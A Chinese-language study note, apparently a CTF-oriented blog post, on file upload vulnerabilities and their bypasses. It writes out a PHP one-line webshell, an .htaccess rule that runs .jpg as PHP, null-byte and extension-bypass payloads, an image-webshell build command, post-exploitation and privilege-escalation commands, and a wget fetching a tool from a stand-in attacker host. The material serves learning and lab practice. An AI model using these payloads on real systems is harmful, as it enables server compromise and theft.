文件上传漏洞
文件上传漏洞
概述
什么是文件上传漏洞
文件上传漏洞是指由于对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以向服务器上传恶意文件(木马,病毒,恶意脚本或者WebShell等)并进行执行,后获得执行服务端命令的能力。
大白话:在要上传的文件里构造语句并按照特定的方式进行上传,以达到攻击者的目的
文件上传漏洞产生原因
| 漏洞成因 | 攻击方式 | 示例 | 
|---|---|---|
| 文件后缀名校验不严 | 上传 shell.php.jpg或shell.phP(大小写绕过) | 绕过扩展名检查 | 
| MIME 类型校验不严 | 修改 Content-Type: image/png | 伪造 MIME 类型 | 
| 解析漏洞 | shell.php/ shell.asp;.jpg | Nginx/IIS 解析漏洞 | 
| 目录可执行 | 上传 shell.php访问uploads/shell.php | 直接访问 Webshell | 
| 过滤不足 | shell.php%00.jpgGIF89a | 伪造文件 | 
| 权限配置问题 | 服务器允许执行上传文件 | 提权或远程控制 | 
高危触发点
相册、头像上传,视频、照片分享。论坛发帖和邮箱等可以上传附件的地方或有文件管理功能的地方
限制措施及绕过
前端检测
前端检测主要是通过JavaScript语句
判断
前端验证通过以后,表单成功提交后会通过浏览器发出─条网络请求,但是如果前端验证失败,则不会发出这项网络请求(不会发包);可以在浏览器的网络元素中查看是否发出了网络请求
绕过
改变前端
删除JS
F12修改source的JavaScript代码,直接删除关于文件上传时验证上传文件相关代码
禁用JS
直接在F12的设置中禁用JavaScript
骗过前端
上传符合要求的文件类型,抓包修改文件类型
如文件名是name.png,在bp抓包后改成name.php
注:只有前端通过后才能发包,bp这时才能抓包
解析漏洞
.htaccess文件解析漏洞
基础
原理
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。通过.htaccess可以做到:重写解析规则(如:将png文件作为php来进行解析等)、URL重写、自定义错误页面、MIME类型配置以及访问权限控制等
利用前提
- 使用Apache服务器( 不适用于Nginx服务器)
- 能成功上传.htaccess文件的上传,且没有被重命名
利用方式
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
绕过
先命名成a.htaccess,bp抓包改成.htaccess即可,内容为:
| 1 | AddType application/x-httpd-php .jpg //让 .jpg 文件被解析为 PHP | 
再写个木马,改名为shell.jpg,内容为:
| 1 | <?php system($_GET['cmd']); ?> | 
此时jpg文件会按照php文件被解析,也就是shell.jpg被当成php文件执行,然后开蚁剑/直接访问shell.jpg执行命令
| 1 | http://example.com/uploads/shell.jpg?cmd=whoami | 
模板
| 1 | #对于php | 
Apache解析漏洞
基础
原理
Apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就在往左判断
如test.php.a.b的.a和.b这两种后缀是apache不可识别解析,apache就会把test.php.a.b解析成test.php
大白话:后缀可以是其他的,只要文件名里有.php,就按照PHP文件执行也可以使用.php\x0a(\x0a 为换行符,apache解析时会把其当作分隔符)来过一些服务器的安全策略
IIS6.0/IIS5.x解析漏洞
文件解析漏洞
上传文件名:xxx.asp;.jpg
服务器默认不解析;号后面的内容,因此xxx.asp;.jpg被当做asp文件解析
一般步骤:写并传马 -> 抓包 -> 修改上传路径 -> 蚁剑
目录解析漏洞
向xxx.asp目录下面上传xxx.jpg
服务器会将xxx.asp命名的文件夹里的文件都当做asp文件解析
注:IIS6.0 默认的可执行文件除了asp还包含这三种.asa .cer .cdx
一般步骤:写并传马 -> 抓包 -> 改文件名 -> 蚁剑
asp一句话木马(注意文件后缀是asp)
文件上传之IIS6.0解析漏洞_iis6解析漏洞利用-CSDN博客
IIS7.0 | IIS7.5 | Nginx的解析漏洞
原理
Nginx拿到文件路径(URI)/test.jpg/test.php后,一看后缀是.php,便认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回Access denied
  这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项PHP可以对文件路径进行修理
如当php遇到文件路径/1.jpg/2.txt/3.php时,若/1.jpg/2.txt/3.php不存在,则会去掉最后的/3.php,然后判断/1.jpg/2.txt是否存在,若存在,则把/1.jpg/2.txt当做文件/1.jpg/2.txt/3.php,若/1.jpg/2.txt仍不存在,则继续去掉/2.txt,以此类推
简单来说,文件我们可以在存在的文件路径后面加一个虚假的/name.php,这个存在的文件如果是一个图片马,就可能实现getshell
漏洞形式
www.xxxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxxx.com/UploadFiles/image/1.jpg/%20\0.php
.user.ini文件包含漏洞
基础
原理
.user.ini是一个可以由用户“自定义”的php.ini(php.ini是php的一个全局配置文件,对整个web服务起作用,但.user.ini仅对当前目录及子目录有效),我们可以自定义除了PHP_INI_SYSTEM以外的模式,在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。
我们这边利用.user,ini先执行auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马
使用前提
- 能成功上传.user.ini文件的上传,且没有被重命名
- 此目录下已有一个任意的.php文件
模板
| 1 | auto_prepend_file = <filename> //将指定文件包含在该目录中所有php脚本的文件头部 | 
利用
先上传a.user.ini.jpg文件,内容:
| 1 | GIF89a //绕过exif_imagetype() | 
bp抓包改名为.user.ini
再上传test1.png,没必要改名,其内容会被当做PHP文件内容执行。
这句话:auto_prepend_file表示在php程序加载第一个php代码前加载的php文件
我们要先找到一个php文件,自己传会被Unicode化,那看看是否有原有的:
url/upload/index.php 蚁剑连
数字后缀绕过
PHP 文件的标准后缀始终是 .php,适用于所有版本的 PHP。然而,在某些特定场景或由某些开发者/系统中,使用.php3 、.php5 、.php7 等不是 PHP 语言的标准文件后缀,由于一些特殊的设置.php7 等后缀可被PHP解释器解析
利用
Apache 的配置文件或目录下的.htaccess 文件有添加设置,如.php7可被解析的配置为:
| 1 | AddHandler application/x-httpd-php .php7 | 
后端检测_文件头检测漏洞
基础
原理
在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)实际上都有一片区域来显示这个文件的实际用法,这就是文件头标志。我们可以通过16进制编辑器打开文件,添加服务器允许的文件头以绕过检测
常见文件头
GIF:
16进制模式:47 49 46 38 39 61
对应文本:
| 1 | GIF89a | 
png:
16进制模式:89 50 4E 47 0D 0A 1A 0A
对应文本:
| 1 | ‰PNG | 
JPG:
16进制模式:FF D8 FF E0 00 10 4A 46 49 46
对应文本:
| 1 | ÿØÿà | 
在进行文件头绕过时,我们可以把上面的文件头添加到我们的一句话木马内容最前面,达到绕过文件头检测的目的
注:最好文件头和代码(木马)之间有个空格
某些情况下,后端可能还会检测文件拓展名,此时需要结合解析漏洞或者文件包含才能实现执行木马
后端检测_00截断
基础
虽然web应用做了校验,但是由于文件上传后的路径用户可以控制,攻击者可以利用手动添加字符串标识符0X00的方式来将后面的拼接的内容进行截断,导致后面的内容无效,而且后面的内容又可以帮助我们绕过黑白名单的检测
利用条件
- php版本要小于5.3.4,5.3.4及以上已经修复该问题
- PHP的magic_quotes_gpc为OFF状态
- 用户可指定上传路径
绕过
%00经过URL解码后就是0x00,二者的意思都是空字符,表示一个字符串的结束。无论00后存在任何内容文本(或后端直接对00字符串进行拼接其他字符串),00后的内容都会被截断,最后字符串留下00前的内容且不包括00
我们就可以根据源码利用%00实现.php后缀
GET传参保存路径
后端对文件路径的处理类似为
| 1 | $des = $_GET['road'] . "/对文件名的处理操作......" . $ext; | 
此时road为我们可控的参数,可直接进行使用%00截断
由于使用00截断,所以最后文件保存在/var/www/html/upload,名为shell.php,根据位置,访问/upload/shell.php,即进入我们所在的页面
POST传参保存路径
与GET传参类似的的是:后端对文件路径的处理类似为
| 1 | $des = $_POST['road'] . "/对文件名的处理操作......" . $ext; | 
此时road为我们可控的参数,但与GET传参不同的是,http请求内包含文件时,POST参数不再被自动解码,所以POST传参需要使用BP使用查看16进制的请求详情,修改一个十六进制的为00
步骤一:修改路径添加文件名,写入需要执行的代码语句
步骤二:切换为十六进制模式,修改所需要替换为00的位置
由于使用00截断,所以最后文件保存在/var/www/html/upload,名为test.php,根据位置,访问/upload/test.php,即进入我们所在的页面,可以看到PHP的配置信息,00截断成功
例题
CTFHUB-技能树-WEB-文件上传-00截断
查看页面源代码发现后端的源码
| 1 | if (!empty($_POST['submit'])) { | 
最关键的是这句代码:
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
payload:
?road=/var/www/html/upload/test1.php%00
后端检测_后缀名检测漏洞
原理
通常是针对文件的扩展名后缀进行检测,主要是通过黑白名单进行过滤检测,如果不符全过滤规则则不允许上传
黑名单
一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件
绕过
解析漏洞
- .htaccess文件解析漏洞-- apache解析漏洞
- IIS7.0 | IIS7.5 | Nginx的解析漏洞
- IIS6.0解析漏洞
截断上传
- 截断类型:PHP%00截断
- 截断原理:由于00代表结束符,所以会把00后面的所有字符都截断
- 截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
[!IMPORTANT]
magic_quotes_gpc全称 *Magic Quotes for
GET,POST,COOKIE*,是 PHP 早期版本(PHP 4.0.0 至 PHP 5.4.0)提供的 自动转义 机制自动给
$_GET、$_POST、$_COOKIE这些全局变量中的 单引号'、双引号"、反斜杠\、NULL 添加 **反斜杠\**进行转义,以减少 SQL 注入的风险
大小写绕过
比如:aSp和pHp之类
默认情况下,正则匹配是区分大小写的
| 1 | $pattern = '/\b(' . implode('|', $blacklist) . ')\b/i'; // 加 'i' 使匹配大小写忽略 | 
双写绕过
有时后端会把敏感字符替换为空,这就可以双写绕过了,比如name.phphpp
黑名单的漏网之鱼
asa和cer之类 asp: asa cer aspx 
jsp: jspx jspf 
php: php php3 php4 php5 phtml pht
exe: exee
利用Windows的命名机制
shell.php. shell.php空格 shell.php:1.jpg  shell. php::$DATA shell.php:1.jpg 
在windows中,后缀名后面的点和空格都会被删除掉
注:::$DATA 是Windows NTFS 数据流(Alternate Data Streams, ADS)的特性,攻击者可以利用它来绕过文件上传检查,甚至执行恶意代码
shell.php:1.jpg:是一种利用 双扩展名 和 NTFS 数据流 的攻击方法,攻击者可以利用 NTFS 数据流(Alternate Data Streams, ADS) 绕过文件上传检测并执行恶意代码。
白名单
一般有个专门的 whitelist 文件,里面会包含的正常文件
绕过同黑名单
后端检测_MIME检测
基础
什么是MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开
常见的MIME类型
text/plain (纯文本) 
text/html (HTML文档)  
text/javascript (js代码)  
application/xhtml+xml (XHTML文档)  
image/gif (GIF图像)  
image/jpeg (JPEG图像)  
image/png (PNG图像)  
video/mpeg (MPEG动画)  
application/octet-stream (二进制数据)  
application/pdf (PDF文档)
检测方式
在文件上传过程中,服务端会针对我们的上传的文件生成一个数组,这个数组其中有一项就是这个文件的类型file_type;服务端对文件进行检测时,就是通过检测脚本中的黑白名单和这个数组中的file_type进行对比,如果符合要求就允许上传这个文件
绕过
通过抓包,将content-type字段改为常见的图片类型,从而绕过校验
如传name.php,bp抓包直接改成image/png等等
后端检测_内容检测图片马绕过
原理
一般文件内容验证使用getimagesize函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。  
本实验就是将一句话木马插入到一个[合法]的图片文件当中,然后用webshell管理工具进行远程连接
[!IMPORTANT]
getimagesize函数
getimagesize()是 PHP 中一个非常常用的函数,用于获取图像的大小和类型信息。它不仅返回图像的尺寸(宽度和高度),还会返回图像的类型(如 JPG、PNG、GIF 等)成功时,
getimagesize()返回一个包含以下信息的数组:
索引 描述 0 图像的宽度(整数值) 1 图像的高度(整数值) 2 图像类型(常见类型: IMAGETYPE_JPEG(2)、IMAGETYPE_PNG(3)等)3 用于 HTML 的图像大小字符串(例如: width="300" height="200")‘mime’ 图像的 MIME 类型(例如: image/jpeg)
图片马
cmd中
| 1 | copy a.png /b + a.php /a 3.php | 
/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
/a:指定以ascii格式复制、合并文件用于txt等文本类文件
这条命令的意思是:通过copy命令,把a.png图片文件,以二进制文件形式添加到a.php文件中,以ASCII文本文件形式输出为3.php文件
一般解析图片马需要结合解析漏洞或者文件包含才能解析图片马
注:图片马常常与文件包含漏洞有关,一旦攻击者将包含 PHP 代码的图片文件上传到服务器,他们可以利用 文件包含漏洞 来执行图片中的 PHP 脚本
条件竞争漏洞
原理
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生
大白话:卡空子。当文件的判断需要过多的时间时,可以卡那个时间间隔执行木马
利用
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除
由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件。
二次渲染漏洞
原理
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示
绕过
配合文件包含漏洞
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell
可以配合条件竞争
这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传
判断图片的二次处理
对比要上传图片与上传后的图片大小,使用16进制编辑器打开图片查看上传后保留了哪些数据,查看那些数据被改变
参考文章
通过执行系统命令找flag(绕过后)
注:cmd为上传木马传的参数
确认 Webshell 或命令执行权限
用cmd=whoami命令确认当前权限
- 如果返回 root,说明你有最高权限,可以直接查找 flag。
- 如果返回普通用户(如 www-data或apache),你可能需要进一步提权
查找 flag 的常见位置
flag 通常位于以下目录或文件中:
- /flag
- /root/flag
- /home/flag
- /var/www/flag
- /tmp/flag
- 当前用户的主目录(如 /home/username/flag)
可以使用以下命令查找 flag:
| 1 | ?cmd=find / -name "flag" 2>/dev/null | 
2>/dev/null:忽略权限错误(避免输出过多无用信息)
如果查找不到,在flag前后都加*来表示文件名包含 “flag” 的文件
检查当前目录
先用?cmd=ls /,再一步步查找flag
不行的话就用:
| 1 | ?cmd=ls -la | 
ls -la:列出当前目录下的所有文件(包括隐藏文件)
| 1 | ?cmd=ls -la / 列出根目录下所有文件 | 
如果发现可疑文件(如 flag.txt 或 .flag),可以使用 cat 命令查看内容
检查环境变量
有时 flag 可能存储在环境变量中。可以使用以下命令检查:
| 1 | ?cmd=env | 
查找输出中是否包含 FLAG 或 flag 相关的变量
检查进程或服务
如果 flag 被某个进程或服务使用,可以通过以下命令查找:
| 1 | ?cmd=ps aux | 
查找可疑进程,特别是那些可能包含 flag 的命令或参数
检查文件内容
如果 flag 被隐藏在某个文件中,可以使用 grep 命令搜索文件内容:
| 1 | ?cmd=grep -r "flag{" / 2>/dev/null | 
- -r:递归搜索目录。
- "flag{":搜索包含- flag{的字符串(CTF 中 flag 通常以- flag{开头)。
- /:从根目录开始搜索
检查数据库
如果目标是一个 Web 应用,flag 可能存储在数据库中。可以通过以下步骤查找:
- 找到数据库配置文件(如 config.php或.env),获取数据库凭据。
- 使用数据库客户端(如 mysql)连接数据库:
| 1 | mysql -u username -p -h localhost | 
- 查找 flag:
| 1 | SHOW DATABASES; | 
检查备份文件
有时 flag 可能存在于备份文件中。可以查找常见的备份文件:
| 1 | find / -name "*.bak" 2>/dev/null | 
检查日志文件
flag 可能被记录在日志文件中。可以检查以下日志文件:
- /var/log/apache2/access.log
- /var/log/nginx/access.log
- /var/log/auth.log
使用以下命令查看日志文件:
| 1 | cat /var/log/apache2/access.log | grep "flag" | 
提权(如果需要)
如果你当前权限不足,可以尝试提权:
1.查找具有 SUID 或 SGID 权限的文件:
| 1 | find / -perm -u=s -o -perm -g=s 2>/dev/null | 
2.利用已知漏洞提权(如脏牛漏洞):
| 1 | searchsploit linux kernel | 
3.上传提权工具(如 linpeas.sh)并运行:
| 1 | wget http://attacker.com/linpeas.sh | 
读取 flag
| 1 | cat /path/to/flag | 
冬令营一些问题
学习一下eval()的用法,什么叫做将字符串作为php代码执行(留意几个问题,单双引号转义问题以及语句末尾需要分号的问题都是新手很经常碰到的)
eval()在 PHP 中的作用是将字符串作为 PHP 代码执行
eval()常见坑单双引号转义问题
用
\"处理双引号用
\'处理单引号用
addslashes()自动转义语句末尾必须有分号 (
;)变量替换问题
用字符串拼接
前端的过滤怎么绕过?
禁用 JS,修改 HTML,直接构造请求
修改 MIME 类型,双写文件后缀
结合
.htaccess让非 PHP 文件也能执行.htaccess是做什么的,在什么服务器上(apache or nginx?)生效,使用phpstudy下载一个apache/nginx测试测试,搭建起你的web服务器测试测试
.htaccess是 Apache Web 服务器 的目录级配置文件,用于控制访问权限、URL 重写、MIME 类型、文件执行权限等。
它 仅在 Apache 服务器上生效,在 Nginx 服务器无效(Nginx 使用nginx.conf进行配置).user.ini是做什么的https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html,目录下的php文件是必须的
目录穿越导致的文件上传
目录穿越绕过方法
双写
..//
URL 编码绕过
服务器可能未对
%2F(URL 编码的/)进行过滤,仍然解析目录穿越双重:
截断绕过
Windows 反斜杠绕过
利用
/proc/self/cwd/访问目标
/proc/self/cwd/是 Linux 系统中的一个虚拟路径,代表当前进程的工作目录访问
/proc/self/cwd/相当于访问/var/www/html/利用环境变量绕过
$IFS是 Linux 的分隔符(通常为空格)某些 Shell 解析时可能会错误解析路径、
防御
使用
realpath()限制路径,禁止上传 PHP 文件,禁用 PHP 解析.htaccess配置用file_put_contents()写入文件的时候,如果用unlink删除你有什么办法让文件不被删除?(tips:去看看unlink()的文档)
当使用
file_put_contents()写入文件时,unlink()函数可以用来删除文件。通常,unlink()会删除文件的硬链接,如果文件是唯一的链接,那么这个文件就会被彻底删除。但是,有一些方法可以使文件在unlink()删除时不会被删除或被绕过删除操作使用文件锁定(
flock())
unlink()会删除文件,但只有文件没有被其他进程锁定时才会成功。如果文件被锁定,unlink()将无法删除该文件。你可以使用flock()在写入文件时锁定文件,这样就可以在某些条件下防止文件删除使用硬链接
硬链接允许文件有多个名称指向同一数据块。在删除一个文件时,操作系统会检查该文件的引用计数,只有当所有引用都被删除时,文件才会被删除。
如果创建了硬链接,
unlink()只会删除其中一个链接,其他硬链接仍然存在,并且文件的数据不会丢失使用符号链接
与硬链接不同,符号链接(symlink)指向的是文件路径而不是文件本身。如果你创建一个符号链接,
unlink()删除的是文件本身,不会删除符号链接所指向的文件使用
open()打开文件并保持文件句柄如果你在 PHP 中使用
fopen()或file_get_contents()等函数打开文件,它们会保持文件句柄(是一个指向文件的引用,用于操作文件(如读取、写入、关闭等))。即使文件被删除,只要文件句柄仍然打开,操作系统会继续保留文件内容,直到文件句柄被关闭。这是因为文件内容在句柄打开期间仍然在内存中可解析php除了<?php开头还能怎样
除了
<?php标签外,PHP 还支持以下几种起始标签:
<?(短标签):需要开启short_open_tag才能工作,建议避免使用。
<?php echo和<?=(短回显标签):用于直接输出内容,简写<?=更常用。
<?xml:适用于 XML 文件中的 PHP 代码。php危险函数,怎么执行系统命令
eval()
eval()函数执行字符串中的 PHP 代码,虽然它不是直接执行操作系统命令,但如果攻击者能够控制字符串内容,就可以执行任意 PHP 代码,甚至是系统命令
exec()用于执行外部程序,并返回执行结果。它可以执行任何操作系统命令
这个代码会执行
ls -la命令,并将结果返回
system()
system()函数类似于exec(),但它会直接输出命令执行的结果,而不是返回结果
shell_exec()
shell_exec()函数用于执行命令,并返回输出结果。与exec()和system()不同的是,shell_exec()返回的是命令的完整输出
2
echo $output;这个代码执行
ls -la命令,并将结果作为字符串返回
passthru()
passthru()函数执行系统命令,并直接将命令的原始输出传递到浏览器,通常用于显示二进制数据,如图像或音频文件
proc_open()
proc_open()函数允许启动一个外部进程,并与该进程进行交互(读写)。它比exec()更强大,允许与外部命令进行复杂的通信
popen()
popen()函数创建一个进程,打开一个管道到该进程的输入或输出,常用于读取命令的输出




